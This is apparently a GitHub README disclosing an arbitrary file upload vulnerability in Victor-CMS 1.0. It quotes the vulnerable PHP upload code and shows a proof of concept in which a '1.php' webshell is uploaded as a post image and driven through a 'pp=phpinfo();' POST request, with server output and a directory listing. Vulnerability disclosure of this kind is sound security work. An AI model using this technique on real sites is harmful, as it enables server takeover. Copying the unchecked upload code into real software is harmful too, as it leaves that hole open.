

main ▼

...

Victor-CMS / README.md

 TCSWT Update README.md

History

1 contributor

19 lines (16 sloc) | 726 Bytes

# Victor-CMS

Exploit Title: Victor-CMS 1.0 — Arbitrary file upload vulnerability

Vendor Homepage:<https://github.com/VictorAlagwu/CMSsite>

Vulnerability Type:

File upload

Vulnerability Version :

V 1.0

Recurring environment:

## Windows 10

Vulnerability Description AND recurrence:

The vulnerability is in the `\CMSsite-master\admin\includes\admin_add_post.php` file

```

99 if (isset($_POST['create_post'])) {
100
101     //---VARIABLES---
102     $post_category_id = $_POST['post_category'];
103     $post_title = $_POST['post_title'];
104     $post_author = $_POST['post_author'];
105
106     $post_date = date('d-m-y');
107
108     $post_image = $_FILES['post_image']['name'];
109     $post_image_temp = $_FILES['post_image']['tmp_name'];
110
111     $post_content = $_POST['post_content'];
112     $post_tags = $_POST['post_tags'];
113     $post_comment_count = 4;
114     $post_status = $_POST['post_status'];
115
116     move_uploaded_file($post_image_temp, "../img/$post_image");
117
118     //----- QUERY TO RELOAD IMAGE IN EDIT AND UPDATE PAGE
119     IF (empty($post_image))
120     {
121         $query = "SELECT * FROM posts WHERE post_id='$id'";
122         $image_query = mysqli_query($con, $query);
123         while ($row = mysqli_fetch_array($image_query)) {
124             $post_image = $row['post_image'];
125         }
126     }
127 }

```

The screenshot displays the CMS Admin Page interface. The browser's address bar at the top shows the URL: `192.168.100.242/CMSsite-master/admin/posts.php?source=edit_post&p_id=1`. The left sidebar contains navigation links: Dashboard, Post, Categories, Comments, Users, and Profile. The main content area is titled 'Welcome to Posts Page' and contains a form for editing a post. The form fields are as follows:

- Post Title:** First Post-Introduction to Content Management Systems
- Post Author:** Victor
- Post Status:** publish
- Post Image:** Photo 1.php (This field is highlighted with a red box in the original image)
- Post Tags:** cms,First,Post,Introduction,Content,Management,Systems
- Post Content:** A rich text editor with a toolbar and placeholder text: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation...'.

You can access our Webshell in the root directory

192.168.100.242/CMSsite-master/img/1.php

PHP Version 7.3.24

System	Windows NT DESKTOP-GAVDN48 10.0 build 17763 (Windows 10) AMD64
Build Date	Oct 27 2020 14:37:24
Compiler	MSVC15 (Visual C++ 2017)
Architecture	x64
Configure Command	cmd.exe /c (noloco) /e:script configure.js --enable-snapshot-build --enable-debug-pack --with-pdo-oci=c:\php-snap-build\deps_aux\oracle\ud64\instantclient_12_1\odk\shared --with-oci8-12=c:\php-snap-build\deps_aux\oracle\ud64\instantclient_12_1\odk\shared --enable-object-out-dir=_obj --enable-com-dist-dir=shared --without-analyzer --with-pgo
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	not value
Loaded Configuration File	C:\xampp\php\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20180731
PHP Extension	20180731

Encryption Encoding SQL XSS LFI XXE Other

Load URL http://192.168.100.242/CMSsite-master/img/1.php

Split URL

Execute

☒ Post data ☐ Referrer ☐ User Agent ☐ Cookies Add Header Clear All

H Upgrade-Insecure-Requests: 1

pp=phpinfo();

C:\xampp\htdocs\CMSsite-master\img\

文件	时间	大小	属性
user_image	2019-02-27 17:24:44	88356	0666
1.php	2020-12-25 09:03:22	26	0666
0067.jpg	2019-02-27 17:24:44	249196	0666
0958.jpg	2019-02-27 17:24:44	1512559	0666
0946.jpg	2019-02-27 17:24:44	390784	0666
2497.jpg	2019-02-27 17:24:44	192921	0666
347033459561.jpg	2019-02-27 17:24:44	39148	0666
4-cast-tv-serie-wallpapers-1024x768.jpg	2019-02-27 17:24:44	331708	0666
4195.jpg	2019-02-27 17:24:44	460988	0666
5501.jpg	2019-02-27 17:24:44	834918	0666
3070.jpg	2019-02-27 17:24:44	244682	0666
6296.jpg	2019-02-27 17:24:44	359800	0666
00.JPG	2019-02-27 17:24:44	63259	0666
05.jpg	2019-02-27 17:24:44	207263	0666
400.jpg	2019-02-27 17:24:44	416245	0666
cer-aspire-blue-computer-wallpapers-1024x768.jpg	2019-02-27 17:24:44	300564	0666
jackBerry 9000521.JPG	2019-02-27 17:24:44	88886	0666
call-of-duty-games-wallpapers.jpg	2019-02-27 17:24:44	185480	0666
casino-royale-james-bond-wallpaper.jpg	2019-02-27 17:24:44	398649	0666
Chelsea-me 20151215_142015.jpg	2019-02-27 17:24:44	48628	0666
cms_admin.JPG	2019-02-27 17:24:44	82142	0666
cms_admin_categories.JPG	2019-02-27 17:24:44	77145	0666
cms_admin_post.JPG	2019-02-27 17:24:44	105761	0666
cms_admin_restrict.JPG	2019-02-27 17:24:44	69230	0666
cms_admin_users1.JPG	2019-02-27 17:24:44	99407	0666
cms_admin_users2.JPG	2019-02-27 17:24:44	57871	0666